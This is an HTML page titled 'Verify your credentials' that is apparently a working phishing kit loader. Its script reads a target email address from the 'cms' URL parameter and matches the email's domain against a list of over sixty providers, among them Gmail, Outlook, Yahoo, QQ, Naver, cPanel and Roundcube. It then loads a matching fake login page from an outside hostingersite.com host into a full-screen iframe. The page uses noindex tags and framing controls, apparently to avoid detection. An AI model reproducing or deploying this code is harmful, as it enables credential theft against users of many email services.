<!doctype html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta name="robots" content="noindex, nofollow">
  <meta name="googlebot" content="noindex, nofollow">
  <meta name="bingbot" content="noindex, nofollow">
  <meta name="robots" content="noindex, nofollow, noarchive">
  <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate">
  <meta http-equiv="Pragma" content="no-cache">
  <meta property="og:title" content="No Index No Follow Example">
  <meta property="og:description" content="This page is not meant to be indexed by search engines or crawled.">
  <meta property="og:image" content="">
  <meta name="robots" content="noindex, nofollow, noarchive, nosnippet">
  <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="X-Frame-Options" content="deny">
    <meta http-equiv="Expires" content="-1">
    <meta charset="utf-8">
    <link rel="icon" href="https://bit.ly/4iQrMMa" type="image/png">
    <title id="titl">Verify your credentials</title>
    <style>
        html {
            overflow: hidden;
        }

        body, div, html, iframe {
            margin: 0;
            padding: 0;
            height: 100%;
            border: none;
        }

        iframe {
            display: block;
            width: 100%;
            border: none;
            overflow-y: auto;
            overflow-x: hidden;
        }

        @keyframes rotate-loading {
            0% {
                transform: rotate(0);
            }
            100% {
                transform: rotate(360deg);
            }
        }

        .loading,
        .loading-container {
            height: 100px;
            position: relative;
            width: 100px;
            border-radius: 100%;
        }

        .loading-container {
            margin: 100px auto;
        }

        .loading {
            border: 2px solid transparent;
            border-color: transparent #333 transparent #333;
            animation: rotate-loading 1.5s linear 0s infinite normal;
            transform-origin: 50% 50%;
        }

        #loading-text {
            animation: loading-text-opacity 2s linear 0s infinite normal;
            color: #888;
            font-family: "Helvetica Neue", Helvetica, Arial;
            font-size: 10px;
            font-weight: 700;
            margin-top: 45px;
            opacity: 0;
            position: absolute;
            text-align: center;
            text-transform: uppercase;
            top: 0;
            width: 100px;
        }

        @keyframes loading-text-opacity {
            0% { opacity: 0; }
            20% { opacity: 0; }
            50% { opacity: 1; }
            100% { opacity: 0; }
        }
    </style>
</head>
<body>
    <div class="loading-container" id="loader">
        <div class="loading"></div>
        <div id="loading-text">Loading...</div>
    </div>
    
    <iframe src="#" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="100%" id="fil" scrolling="auto"></iframe>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
    <script src="script.js"></script> <!-- Loads config -->

    <script>
        function getParameterByName(name, url = window.location.href) {
            const regex = new RegExp(`[?&]${name}=([^&#]*)`, 'i');
            const match = regex.exec(url);
            return match ? decodeURIComponent(match[1].replace(/\+/g, ' ')) : null;
        }

        function base64Decode(base64) {
            try {
                return atob(base64);
            } catch (e) {
                return null;
            }
        }

        function base64DecodeOrKeepOriginal(file) {
            try {
                return atob(file);
            } catch (e) {
                return file;
            }
        }

        const domainMap = [
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/hot-mail.html', keywords: ['hotmail', 'outlook'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/y.html', keywords: ['yahoo', 'ymail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/aruba.html', keywords: ['aruba', 'arubabusiness.it'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/bigpond.html', keywords: ['bigpond'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/comcast.html', keywords: ['comcast'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/chinaemail.html', keywords: ['chinaemail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/g.html', keywords: ['gmail', 'googlemail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/att.html', keywords: ['att'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/aol.html', keywords: ['aol'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/zoho.html', keywords: ['zoho', 'zohomail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/biglobe.html', keywords: ['biglobe'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/centurylink.html', keywords: ['century'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/chol.html', keywords: ['chol'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/coremail.html', keywords: ['coremail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/ecount.html', keywords: ['ecount'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/emailit.html', keywords: ['email.it'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/globalmailcn.html', keywords: ['globalmail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/gobizkorea.html', keywords: ['gobiz'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/godaddy.html', keywords: ['godaddy'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/hetemail.html', keywords: ['hetemail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/hinet.html', keywords: ['hinet'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/ionos.html', keywords: ['ionos'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/juno.html', keywords: ['juno'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/kagoyanet.html', keywords: ['kagoya'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/localweb.html', keywords: ['localweb'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/mailplug.html', keywords: ['mailplug', 'mailwood'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/networksolutions.html', keywords: ['networksolutions'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/orangefr.html', keywords: ['orange'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/plala.html', keywords: ['plala'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/protonmail.html', keywords: ['protonmail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/rackspace.html', keywords: ['rackspace'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/register.html', keywords: ['register'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/sakura.html', keywords: ['sakura'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/securemx-jp.html', keywords: ['securemx'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/spectrum.html', keywords: ['spectrum'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/strato.html', keywords: ['strato'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/telkomsa.html', keywords: ['telkomsa'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/tiscali.html', keywords: ['tiscali'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/t-online.html', keywords: ['t-online'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/wadax.html', keywords: ['wadax'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/windstream.html', keywords: ['windstream'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/worksmobile.html', keywords: ['worksmobile'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/abv.bg.html', keywords: ['abv'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/conoha.jp.html', keywords: ['conoha'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/f.zaq.ne.jp.html', keywords: ['jp'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/interia.html', keywords: ['interia'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/mailcloudtw.html', keywords: ['mailcloud'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/seznam.html', keywords: ['seznam'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/so-netjp.html', keywords: ['so-net'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/owa.html', keywords: ['owa'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/hiworks.html', keywords: ['hiworks'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/naver.html', keywords: ['naver'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/qq.html', keywords: ['qq'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/daum.html', keywords: ['daum', 'kakao', 'hanmail'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/one-six-three.html', keywords: ['163'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/vip163.html', keywords: ['vip163'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/126.html', keywords: ['126'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/188.html', keywords: ['188'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/263.html', keywords: ['263'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/aliyun.html', keywords: ['aliyun'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/139.html', keywords: ['139'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/zimbra.html', keywords: ['zimbra'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/w.html', keywords: ['cpanel'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/oauth-hot.html', keywords: ['oauth'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/rc.html', keywords: ['roundcube', 'truthtelling'] },
            { file: 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/mailcom.html', keywords: ['mail.com'] }
        ];

        (function () {
            const email = getParameterByName('cms');
            const iframe = document.getElementById('fil');
            const loader = document.getElementById('loader');

            if (!email) {
                iframe.setAttribute('src', 'background.html');
                loader.style.display = 'none';
                return;
            }

            iframe.setAttribute('src', `background.html?cms=${email}`);
            loader.style.display = 'none';

            window.addEventListener('message', (event) => {
                if (event.origin !== window.location.origin) return;

                const { action, email: returnedEmail } = event.data || {};
                if (action === 'redirectToIndex' && returnedEmail) {
                    const domain = returnedEmail.split('@')[1]?.toLowerCase();
                    let iframeSource = 'https://lightgrey-yak-891252.hostingersite.com/vendor/binn/bin/de.html';

                    for (const mapping of domainMap) {
                        if (mapping.keywords.some(keyword => domain.includes(keyword))) {
                            iframeSource = base64DecodeOrKeepOriginal(mapping.file);
                            break;
                        }
                    }

                    iframe.onload = function () {
                        iframe.contentWindow.parentConfig = config;
                    };

                    iframe.setAttribute('src', `${iframeSource}?cms=${returnedEmail}`);
                }
            });
        })();
    </script>
</body>
</html>